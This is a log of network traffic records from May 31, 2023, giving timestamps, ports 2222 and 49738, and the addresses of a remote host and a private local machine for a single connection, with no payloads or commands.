May 31, 2023 14:27:20.475671053 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.475756884 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.478352070 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.478429079 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.480549097 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.480616093 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.485527039 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.485708952 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.487842083 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.487905979 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.492350101 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.492496967 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.496601105 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.496769905 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.499418020 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.499548912 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.501281023 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.501368046 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.505660057 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.505728006 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.508160114 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.508241892 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.513151884 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.513248920 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.515075922 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.515181065 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.519526958 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.519639969 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.522259951 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.522355080 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.526727915 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.526813030 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.528892040 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.528986931 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.533466101 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.533581018 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.536065102 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.536180019 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.540175915 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.540303946 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.542679071 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.542787075 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.547137976 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.547251940 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.549854040 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.549954891 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.553549051 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.553658962 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.556205988 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.556335926 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.560950994 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.561058998 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.563338995 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.563442945 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.567854881 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.567985058 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.571386099 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.571508884 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.572160959 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.572244883 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.577245951 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.577364922 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.581084967 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.581182957 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.583780050 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.583873034 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.588010073 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.588099957 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.590740919 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.590821028 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.593166113 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.593241930 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.597690105 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.597742081 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.600183010 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.600291967 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.604561090 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.604662895 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.609019995 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.609093904 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.611222982 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.611303091 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.613883018 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.613965988 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.618434906 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.618516922 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.620568037 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.620656013 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.624686003 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.624804020 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.627660990 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.627758980 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.632215023 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.632323027 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.634321928 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.634398937 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.638969898 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.639067888 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.641278028 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.641365051 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.645919085 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.646027088 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.647852898 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.647941113 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.652821064 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.652920961 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.655034065 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.655128002 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.659537077 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.659665108 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.661722898 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.661849022 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.666135073 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.666232109 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.668855906 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.668961048 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.671066999 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.671161890 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.675288916 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.675395012 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.678157091 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.678376913 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.682645082 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.682765007 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.686373949 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.686494112 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.688988924 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.689074039 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.691751957 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.691853046 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.696413994 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.696511984 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.698402882 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.698487997 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.702862024 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.702991962 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.705585003 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.705665112 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.709784031 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.709903955 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.712294102 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.712398052 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.717134953 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.717245102 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.719316006 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.719396114 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.723586082 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.723716974 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.725729942 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.725852013 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.730405092 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.730499029 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.733069897 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.733158112 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.737267017 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.739622116 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.744000912 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.746679068 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.750610113 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.753341913 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.757960081 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.760216951 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.762634039 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.767102957 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.769802094 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.774017096 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.777971983 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.780822039 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.783353090 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.787818909 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.790069103 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.795011997 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.797163963 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.801620960 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.803833961 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.808427095 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.810725927 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.815393925 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.817600012 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.821825981 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.824513912 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.829008102 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.831227064 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.835593939 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.838304043 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.842767954 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.844657898 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.849853992 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.852091074 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.855940104 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.858536005 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.862905025 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.865957022 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.869740009 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.872361898 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.877249956 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.879466057 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.881649971 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.886672020 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.890652895 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.892998934 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.895246029 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.900475979 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.902657032 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.906862020 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.908966064 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.914069891 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.917896032 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.920594931 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.922831059 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.927777052 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.929723978 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.934449911 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.936686993 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.941540956 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.943492889 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.947524071 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.950419903 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.954677105 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.957384109 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.961775064 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.964488983 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.968472958 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.971175909 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.973397017 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.979876041 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.981947899 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.984893084 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.988632917 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.991806984 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.994559050 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.998641014 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.000952959 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.005763054 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.007869959 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.012356997 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.016444921 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.019438982 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.021646023 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.026098013 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.028004885 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.032991886 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.035398006 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.039712906 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.042387962 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.046736956 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.048998117 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.053473949 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.056153059 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.060619116 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.062778950 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.067115068 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.069946051 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.074378967 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.078134060 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.081259966 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.083559036 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.088179111 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.090166092 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.094587088 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.097292900 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.101517916 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.103928089 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.108823061 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.118026972 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.119407892 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.120394945 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.122603893 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.124870062 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.129029989 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.131303072 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.136531115 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.138402939 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.142865896 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.145077944 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.149785042 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.151962042 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.156131029 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.159446955 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.163568974 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.165806055 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.169673920 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.173100948 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.177335024 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.179598093 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.183497906 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.186671972 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.190629959 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.193361998 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.198358059 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.200280905 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.204436064 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.207190037 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.211354017 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.214019060 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.216331959 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.220674992 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.225141048 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.227864981 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.230040073 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.234555006 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.236407042 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.241736889 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.243920088 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.248080015 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.253017902 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.255462885 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.259790897 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.261823893 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.266772985 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.268975973 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.273502111 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.278456926 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.280592918 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.284828901 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.287019014 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.291732073 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.294403076 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.296596050 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.300784111 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.305286884 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.308136940 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.310110092 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.314618111 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.317285061 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.321482897 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.323975086 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.328900099 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.332592010 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.335279942 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.337480068 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.342716932 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.344891071 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.349109888 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.351305962 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.356355906 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.359699011 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.362885952 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.365042925 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.370039940 CEST	2222	49738	200.84.200.20	192.168.2.3
